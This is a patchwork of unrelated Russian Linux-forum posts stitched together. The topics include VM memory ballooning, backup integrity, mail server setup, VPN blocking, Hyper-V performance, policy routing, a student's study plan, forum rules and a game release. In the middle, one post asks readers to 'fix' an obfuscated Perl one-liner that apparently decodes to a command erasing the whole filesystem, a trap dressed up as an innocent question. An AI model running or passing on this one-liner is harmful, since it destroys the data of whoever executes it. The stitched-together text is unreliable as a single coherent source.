Привет, ЛОР!

Я сломал мозг от старые, противоречивые статьи и нейронки, поэтому нужна помощь опытных людей. В свете того, что память подорожала, возник вопрос экономии этой памяти на компе с виртуалками. Вспомнил про memory ballooning и не могу до конца понять, как это всё работает.

Общая концепция мне понятна - через низкоуровневые хаки ядра, гипервизора, qemu, libvirt и драйвера можно забирать или отдавать память гостю.

Сначала я предполагал, что с точки зрения гостя это выглядит как некий процесс в ОС, который по неведомым (для гостя) причинам начинает жрать память до определённого размера. Это триггерит стандартные механизмы memory pressure и вся занятая этим хитрым процессом память на самом деле задействуется хостом под свои нужды. И пока этот процесс жив с таким потреблением памяти, это гарант для хоста, что занятая память не будет гостем обратно использована. Поэтому её можно безболезненно отдать другой программе.

Но видимо у меня СПГС и всё немного (если так можно говорить про столь низкоуровневые процессы) проще. Есть крутилка в XML - memory (в терминологии virt-manager Maximum Allocation) и currentMemory (в virt-manager - Current Allocation).

• memory - это жёсткий лимит памяти ВМ
• currentMemory- это мягкий лимит памяти ВМ

Между ними balloon driver, который позволяет динамически, без перезагрузки менять объём памяти ВМ вплоть до лимита в memory. Причём делается это исключительно руками, ибо auto-ballooning умер в 2013 г. так и не родившись. https://www.linux-kvm.org/page/Projects/auto-ballooning

Самый главный вопрос - правильно ли я понимаю, что с точки зрения гостя выглядит так, что у него физическая (total) память меняется? На моей лабе это выглядит именно так. Тогда надо, аккуратно отбирать память у гостя (а так же иметь swap), иначе у него OOM придёт.

И чуть менее главный вопрос - анон утверждает, что Proxmox умеет в auto-ballooning. Это так или нет?

А и ещё вопрос - какие противопоказания? А то в интернетах пишут, что вредные процессы.

Работаю на Fedora 42

# qemu-kvm --version
QEMU emulator version 9.2.4 (qemu-9.2.4-2.fc42)
Copyright (c) 2003-2024 Fabrice Bellard and the QEMU Project developers

# libvirtd --version
libvirtd (libvirt) 11.0.0

# uname -a
Linux max-desktop 6.18.5-100.fc42.x86_64 #1 SMP PREEMPT_DYNAMIC Sun Jan 11 18:16:46 UTC 2026 x86_64 GNU/Linux

Всем привет и с наступающим. Прошу прощения, если пишу не в тот раздел.

Несколько раз сталкивался с бит ротом (оно же silent data corruption) и хочу избежать повторений. В данный момент архив фоток и другие файлы с начала времён хранятся на зфс в зеркале. Скраб за 6 лет пару раз исправлял ошибки, но каждый раз извлекать и подключать системник из кладовки для доступа к файлам напрягает.

Хочется организовать доступ к файлам 24/7 с минимальным потреблением электроэнергии, контролем целостности и перейти к стратегии хранения 3-2-1.

Планирую использовать Orange Pi 5 Plus с м2 ссд внутри и внешний ссд под бэкапы. Данных пока <1тб, диски на 2тб. Ещё есть ASRock J4205-ITX и Intel NUC на N3450/J3455, но оба без м2 и я очень сильно сомневаюсь в энергоэффективности этих вариантов.

Чего хотелось бы в идеале: раз в месяц проверить целостность данных на внутреннем диске, сделать копию на внешний диск, проверить её и успокоиться на месяц. Пару раз в год залить данные на «кладовочный» системник.

Собственно, основной вопрос - как это лучше/проще реализовать? Можно ли в условных Borg/Bacula настроить подобный алгоритм работы? BTRFS с send/receive подойдёт для подобной задачи и будет ли достаточно надёжной? Можно ли сделать что-то подобное в LVM с dm-integrity? Или нет ничего лучше/надёжнее баш-портянки на хэши всех файлов и последующего рсунка?

Буду благодарен за помощь, пока склоняюсь к последнему варианту

всем привет.

голова идет кругом от предложения…

У меня ноутбук, горячий от процессора. Наверное стоит смотреть на те ssd, которые не требуют радиатора, который не поместится в корпус.

Кто может рассказать по делу - заранее благодарю.

Собственно, сабж. Возьмем для примера 12309. Перекидываем что-нибудь жирное с ssd на допотопную USB 2.0 флешку. Естественно, данные считываются с ssd в память быстрее, чем пишутся на тормозную флешку. Если данных действительно много, они все не влезут в объем памяти, заданный параметром vm.dirty_ratio, который по-умолчанию равен 40% от объема памяти (предположим, у нас ее не больше 8 гигабайт). Возрастает iowait. Система зависает. При этом для работы памяти достаточно (запущены файловый менеджер и огнелис с парой вкладок плюс графическая оболчка). Так вот, почему стопорятся задачи, никак не связанные с записью на флешку (это даже не системный диск!)? Они не получают процессорного времени? А почему ядро не может вынести запись в отдельный поток? Почему ядро не отдает ресурсы процессора другим процессам? Ведь юникс изначально многозадачная система, и адаптация линукса к многоядерным процессорам произошла тогда, когда они стали массово доступными.

Всем салют.

Есть вопрос, по дальнейшей настройке почтового сервера.

Что имеем:

1. Полностью настроенный почтовый сервер со всеми DNS, сертификатами и верификациями + прохождение всех мэйл тестеров.

2. Отправка с сервера как с главного домена, так и с второго «прикрученного» домена, писем на внешние адреса без попадания в спам и так далее. То есть по сути, отправка писем с сервера работает, всё тестировалось через mailutils + PHP Script (стандартная отправка письма).

3. На данный момент на сервере открытый порт 25 с TLS Only

Теперь главная задача, которую я хочу реализовать, но, пока не знаю как это правильно сделать. (Postfix + Dovecot)

1. Мне нужно чтобы все письма или их копии (приходили/слаживались в определённый ящик, к примеру я этот ящик в дальнейшем хочу подключить к эмайл клиенту и читать все письма приходящие на к примеру 2-3 домена)

2. Я не пойму взаимосвязь работы Postfix & Dovecot - они оба работают с одной директорией в которой создаются ящики ? К примеру в Postfix читал за создание виртуальных ящиков, но, не могу понть эти виртуальные ящики слаживаются в ту же директорию где их сможет забирать/читать Dovecot ?

Обьясните мне просто логику работы, мне нужно как можно проще всё сделать. А именно задача читать письма с доменов в одном ящике (через емайл клиент типа Outlook) Далее при надобности создавать ящики для доменов к примеру info@domain1.com, info@domain2.com и отправлять с них письма/ответы.

Есть текст

111, 555!

и текст «222,» в буфере (")

Курсор стоит на пробеле (после запятой).

Что нажать, что бы, после вставки текста из буфера, курсор вернулся обратно на то же место?

Я ранее создавал локальную сеть через Wireguard. Но после блокировки протокола я не могу этого сделать.

Что можно использовать как альтернативу в self-host использовании?

Посоветуйте.

Читал про подобные проблемы, но не понял, были ли они постоянными.

У меня же в московском регионе, когда настраивал (недели две назад), по udp не работало, по tcp работало. Несколько дней же назад и по tcp перестало подключаться. Подключается, через секунду рвётся. Иногда через несколько попыток соединение устанавливается, но далеко не всегда. Даже 443 порт не помогает.

Естественно, речь о канале к своему VPS, на котором нет никаких публичных служб, в реестрах роскомпозора IP-адреса нет.

P.S.: ЧСХ, youtube пока относительно работает с мегафона. А надо мне VPN (и именно до своего сервера), так как из-за nat иногда гугл не пускает (требует ввести нерешаемую капчу), а статического IP у них нет.

Приветствую!

⚠️ Disclaimer

Сразу хочу извинится, что вопрос по оффтопику, но этот вопрос смогут понять скорее всего только пользователи онтопика.

В гугле видимо меня забанили, найти не смог, а про форточки забыл я как про страшный сон. Да, и скорее всего выговориться просто нужно.

Суть проблемы, есть куча подвластных мне виртуалок (суммарно ядер на 300 и 0.8 Tb ОЗУ) работающих в не зоне моих полномочий, на серверах Hyper-V. Виртуалки неистово тупят, гипервизор крадёт все ресурсы, я даже боюсь представить насколько сильно они перепроданы. С одного запроса в простую веб-морду, порядка 30 GET на статику всякую и пару запросов в БД, в гостевой RHEL на CPU наблюдаю IO wait 100%. Естественно, когда туда идут коллеги работать по своим задачам, всё дико тупит и IO в потолке постоянно, мне кидают предъявы. Обидно.

Несколько недель у меня идут ожесточённые бои с админом офтопика. Я говорю - «ты душишь мои виртуалки», а он в ответ - «у меня всё работает, на против виртуалки горит зелёная лампочка».

Так вот, захотелось мне попросить, у него метрики по типу PSI Pressure Stall Information, во первых ему доказать, где и почему он не прав, а во вторых использовать это как аргумент к руководству. Но вот, что именно просить у него (в виндовой терминологии) я не знаю.

Работаем мы все в одной организации, и всё насквозь пропитано бюрократией, просто так, что то поменять здесь сложно. Да и админ скорее не из вредности, а просто по не опытности не может с этим, что-то сделать.

Если знает кто ответ, можете поделиться ссылкой на нужный мне документ. А коли мимо проходили, можете накинуть пару баек про виртуализацию на оффтопике и какие батхерты имели, и как с ними справлялись.

Всем добра.

Господа, что ещё нужно сделать кроме этого, что бы трафик с 11.64 начал уходить через p2p1?

ip rule add from 192.168.11.64 table skype
ip route add 192.168.11.64 via 192.168.9.7 dev p2p1 table skype

Правило самое первое, и трафик должен ведь начать падать в таблицу. На деле, трафик как и ранее, уходит в более поздние таблицы:

# ip rule show
0:from all lookup local 
32758:from 192.168.11.64 lookup skype 
...

Пересылка трафика разрешена:

# sysctl net.ipv4.ip_forward
net.ipv4.ip_forward = 1

Учусь в 8 классе на домашнем обучении. Не так давно начали изучать информатику. Я хорошо осознал, что мне нравится информатика и очень привлекает программирование. Предметная область, в которой я себя вижу: вычислительные сети, сетевая и серверная инфраструктура, высоконагруженное серверное ПО. Скорее всего, я не буду уходить после 9 класса из школы, а продолжу учиться до конца 11 класса. Планирую поступать в ВУЗ на бюджет, поэтому сейчас я не знаю, на какую именно специальность и в какой ВУЗ я пройду.

В любом случае я набросал себе приблизительный план, по которому собираюсь учиться программированию в ближайшие несколько лет, которого я постараюсь придерживаться. Подборать теоретический материал мне оказалось не так уж и сложно (составлял список сам, основываясь на описании книг и отзывах в интернете), а поиск подходящих практических задач для выбранного теоретического материала вызвал сложности.

Подскажите, пожалуйста, что стоит изменить в моём плане с учётом моей предметной области? Хотелось бы, конечно, в первую очередь скорректировать практическую часть. Далее идёт набросок моего плана.

Информатика (больше теория):

• системы счисления, единицы измерения инф., сигналы, частоты, дискретность и непрерывность;
• архитектура ПК, работа процессора и оперативной памяти;
• вычислительные сети и сетевая архитектура, понятие сетевых протоколов;
• алгебра логики и логические операции;
• алгоритмика и типы данных.

Информатика (больше практика):

• построение диаграмм и блок-схем в графическом редакторе yEd, решение задач с алгоритмами;
• работа в среде программирования КуМир;
• работа в среде программирования Free Pascal;
• языки разметки HTML и TeX: создание статичного персонального сайта на HTML, вёрстка документов в системе LaTeX в программе TeXstudio;
• регулярные выражения и работа с текстом на естественном языке;
• базы данных и системы управления базами данных (СУБД), работа с СУБД SQLite в программе SQLiteStudio.

Введение в программирование:

• трёхтомный учебник «Программирование: введение в профессию» (А. В. Столяров);
• учебник «Free Pascal и Lazarus. Учебник по программированию» (Е. Р. Алексеев, О. В. Чеснокова, Т. В. Кучер);
• написание простых программ на Object Pascal (типа калькулятора, файлового менеджера, возможно, простейшего софта для защиты от DoS-атак на базе iptables и ipset);
• учебник «Теория систем и системный анализ» (В. Н. Волкова, А. А. Денисов).

Математика:

• школьная программа алгебры 7-11 кл.;
• «Основы математического анализа (Г. М. Фихтенгольц)» + задачник Б. П. Демидовича;
• «Дискретная математика. Учебное пособие» (В. Е. Алексеев).

Алгоритмы и структуры данных:

• «Алгоритмы. Вводный курс» (Т. Кормен);
• «Алгоритмы, введение в разработку и анализ» (А. В. Левитин).

Основы программирования в выбранной предметной области:

• «Язык программирования C. Лекции и упражнения» (С. Прата);
• «TCP/IP Illustrated: The Protocols» (У. Стивенс);
• «Understanding Linux Network Internals» (O'Reilly);
• «Unix Network Programming: The Sockets Networking Api» (У. Стивенс);
• официальное руководство Cisco по подготовке к сертификационным экзаменам CCENT/CCNA.

Также я составил список привычек, которые мне стоит сформировать:

«1. Приучайся описывать математически всё, что видишь вокруг себя: чашку кофе на завтрак, тарелку супа на обед, облака в небе и т. д.

2. Изучай вширь всё, до чего дотягиваешься. Не понял, что написано — разбирайся, пока не поймешь. Уметь программировать — это пол дела. Надо понимать, как запускать твой код, где он будет работать и как будет взаимодействовать с другими системами".

3. Пиши код! Каждый день пиши! Не так важно что: вытаскивай данные с какого-нибудь API, пиши консольные утилиты. Собирай какие-нибудь данные и клади их в БД. Не важно, насколько это все будет наивным, практический опыт от задумки до реализации надо проходить 10-20-100 раз, пока не научишься видеть решения".

4. Читай чужой код, смотри, как он устроен, чем лучше твоего, анализируй. И читай книжки по хорошим практикам программирования (начиная с пресловутого Боба Мартина).

5. Не игнорируй инфраструктуру. Эти вот модные докеры, которые мамонты на ЛОРе не любят, они неспроста. Написал программу — подумай какими способами ее можно безболезненно развернуть на другой машине» ( paddlewan).

Благодарю hobbit и paddlewan за ваши полезные комментарии на этом сайте, которые помогли мне в процессе составления плана. Также хочу поблагодарить всех, кто помогает советами, включая анонимов.

1. Темы о Windows и Microsoft, не имеющие отношения к FOSS.
2. Новости о намерениях что-либо делать (переходить на Linux и т.п.). Вот сделают, тогда и обсудим. По просьбам пользователей.
3. Новости о бетах и RC ядра Linux или другого ПО без каких-либо серьёзных или интересных изменений (если бета или RC не судьбоносен по какой-то причине, например, проект не подавал признаков жизни год).
4. Новости о новых выпусках журналов. По просьбам пользователей.
5. Новости, полностью скопированные с других ресурсов. Предупреждая новые и следуя существующим пожеланиям владельцев ресурсов, за исключением случаев, когда такое копирование одобрено владельцами ресурсов.
6. Новости о неизвестных и не оригинальных дистрибутивах.
7. Новости про UALinux и их дистрибутивах.
8. Вопросы «почему забанен или заморожен $username?». Во избежание бессмысленных флеймов и провокаций. Сама причина бана или заморозки указывается в профиле. Не относится к самозабану.
9. Ссылки на порнографические материалы и фотоматериалы по медицине или судмедэкспертизе без разрешения модераторов.
10. Обсуждение, есть ли среди модераторов виртуалы. Виртуалов нет.
11. Обсуждение медицинских препаратов, изменяющих сознание, БАД, наркотических веществ, стимуляторов и тому подобных, кроме случаев вопросов по фильтрации спама.
12. Обсуждение опечаток или грамматических и орфографических ошибок в тексте или тегах новости, статьи или скриншота вне специально созданной для этого темы. Пожалуйста, используйте для этого уведомление модераторов с указанием проблемы в ОП «Опечатка или форматирование».
13. «Падонковский» или «двачерский» сленг, если он преобладает в сообщении.
14. Перепечатка «шокирующих новостей» с Дней, Фогньюза, Лапши, autonews.ru и других сайтов, публикующих якобы «важные» (Дни, autonews) новости или заведомо ложную информацию (фог, лапша).
15. Новости с любых ресурсов Арама Габрелянова.
16. Вопросы в духе «работает ли у вас ресурс такой-то». Проверить, упал ли какой-то ресурс можно на isup.me. Проверить блокировку ресурса можно на isitblockedinrussia.com
17. Комментарии в духе «не нужно», не несущие смысловой нагрузки (используйте реакцию).
18. Зловредный код.
19. Обсуждение сексуальной ориентации кого бы то ни было.
20. Ноги, ногти и вопросы питания RMS (Richard Matthew Stallman).
21. отменён
22. Внешние ссылки, для просмотра которых требуется регистрация.
23. «Сокращаторы» ссылок.
24. Видео, на которых собаки или другие животные имитируют половой акт с людьми.
25. Обсуждение вакцинации от Covid-19 и вакцин.
26. Средства обхода блокировок; применение и выбор VPN для обхода блокировок.

Dungeon Keeper («Хранитель подземелья»), DK — компьютерная игра в жанре симулятора бога, разработанная компанией Bullfrog Productions и изданная компанией Electronic Arts в 1997 году.

KeeperFX(расшифровывается как Dungeon Keeper Fan eXpansion) - это открытая релизация Dungeon Keeper для Windows под лицензией GPLv2. KeeperFX написан на С и С++. Изначально это был проект декомпиляции оригинального Dungeon Keeper. К версии 1.0.0 весь код переработан и переписан. Нативной версии для онтопика нет, но отлично работает под вайном.

Список изменений версии 1.0.0:

• Все оставшиеся функциональные возможности исполняемого файла Dungeon Keeper были перенесены в KeeperFX. Это означает, что мы больше не ограничены оригинальной игрой в том, что мы можем изменить.
• На карте теперь может одновременно находиться более 2048 объектов.
• Карты больше не ограничены размером 85x85, они могут быть больше или меньше.
• Добавлены новые юниты: Time Mage и Druid (не используются в старых кампаниях, будут на новых картах).
• Поддерживается более высокая частота кадров.
• Исправлены сбои при игре в разрешении 4к.
• Улучшено строительство мостов и копание для вражеских компьютеров. Это не дает лучшим компьютерным игрокам мгновенно обрушить на вас всю свою армию.
• Удалены объединенные кампании с самым низким рейтингом, чтобы произвести у новых пользователей положительное первое впечатление.
• В комплексных кампаниях стали более качественными речевые выступления.
• Добавлено больше переводов для включенных карт и кампаний.
• Объекты могут иметь направление (например, лицом на восток).
• Больше возможностей настройки для картографов и моддеров:
  • Можно добавлять новые существа.
  • Сценарии уровней могут быть больше, что приводит к более сложным сценариям.
  • Можно добавлять новые кадры.
  • Новые команды скрипта.
  • Пользовательская музыка и звуки.
  • Есть полностью настраиваемые ловушки.
  • Новые декоративные предметы.
  • Новые текстуры карты.
• У орков появилась анимация поедания, а у Аватара — анимация пыток.
• На картах могут быть большие группы героев.
• Улучшена стабильность многопользовательской игры.
• Номера многопользовательских карт могут превышать 255.
• Драгоценные камни теперь окрашены в фиолетовый цвет на мини-карте, чтобы отличить их от золота.
• Юниты, видимые на мини-карте, больше не прыгают.

>>> Подробности

Всем привет. Подскажите неофиту,как создать директории с помощью цикла. Нужно создать диры, чтоб в них скопировать бекапы приложух. Проблема в том, что у каждой диры должен быть свой путь, например /opt/MSK/vassya/application_name_bkp/ Городов несколько (5 штук ). Имён так же, несколько (5 штук ). Все города и имена помещаю в переменные списком ( отдельный файл vars.yml ).

то есть, на выходе, нужно сделать диры

/opt/MSK/vassya/application_name_bkp/

/opt/MSK/petya/application_name_bkp/

/opt/MSK/kolya/application_name_bkp/

/opt/SPb/vassya/application_name_bkp/

….

и так далее и тому подобное. Всего около сотни папок на 2х хостах.

помогите, пожалуйста исправить такую программу:

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

- не печатает

13 сентября на Github опубликован HyperDX — инструмент мониторинга и отладки, который позволяет сопоставлять журналы, трассировки и сеансы пользователей в одном месте. Исходный код доступен и распространяется под лицензией MIT.

( читать дальше... )

>>> Подробности

Jet – новая платформа для автоматизации и оркестрации, ориентированная на сообщество пользователей и разработчиков. Платформа создаётся Майклом ДеХааном, создателем программ автоматизации IT-инфраструктуры Cobbler и Ansible.

( читать дальше... )

>>> Подробности

Пробовал 2019 - не работает.

Всякие альтернативы, по типу Libre или WPS Office ломают структуру/вёрстку в документах, особенно в презентациях. Поэтому я их не использую

Добрый день.

Уже много лет в моем доме трудится роутер TP-Link TL-WDR3600 с прошивкой OpenWrt. Брал его ещё в студенческие времена, когда денег было не очень много, зато было время и желание покрасноглазить и поэкспериментировать. На первых порах использовал его и в хвост и в гриву, даже развернул на нем домашний сервер. Со временем необходимость в подобных выкрутасах отпала, большинство задач переехала на более подходящие для этого устройства, а на роутере остались только вещи, связанные непосредственно с сетью:

• Мой собственный VPN, соединяющий дом, работу и дачу. Внутри VPN используется IPv6, потому что в разных физических IPv4-сетях используется один и тот же диапазон адресов, а костылять не хотелось. Непосредственно VPN-шлюз стоит на другом устройстве, на роутере только прописан маршрут и организована раздача адресов.
  
• Ipset + DNAT для заворачивания части запросов в shadowsocks-туннель.
  

Сейчас появилось желание обновить роутер до чего-нибудь с поддержкой 802.11ac, а может даже с 802.11ax. Так как никаких особо хитрых задач на роутере больше не решается, потребности в OpenWrt тоже нет. Плюс, есть ощущение, что сам OpenWrt не очень хорошо справляется со своими обязанностями - временами очень долго открываются страницы и скачет скорость по Wi-Fi при пустом эфире.

Посоветуйте, какие железки можно рассматривать в качестве замены. Первая мысль - Mikrotik. С некоторым скепсисом смотрю на RouterOS и её ярых фанатов, но если вещь действительно стоящая, то можно закрыть глаза на предубеждения и попробовать. Насколько я понимаю, первая задача на Mikrotik решается без проблем, а вот по поводу второй есть сомнения.

Кроме того, несколько раз слышал хорошие отзывы о Keenetic. Понятно, что это устройства сугубо для дома и рассчитанные в первую очередь на домохозяек, но если в них есть SSH-доступ и возможность устанавливать сторонний софт, то, может, и хватит для моих задач. Есть у кого-нибудь подобных опыт?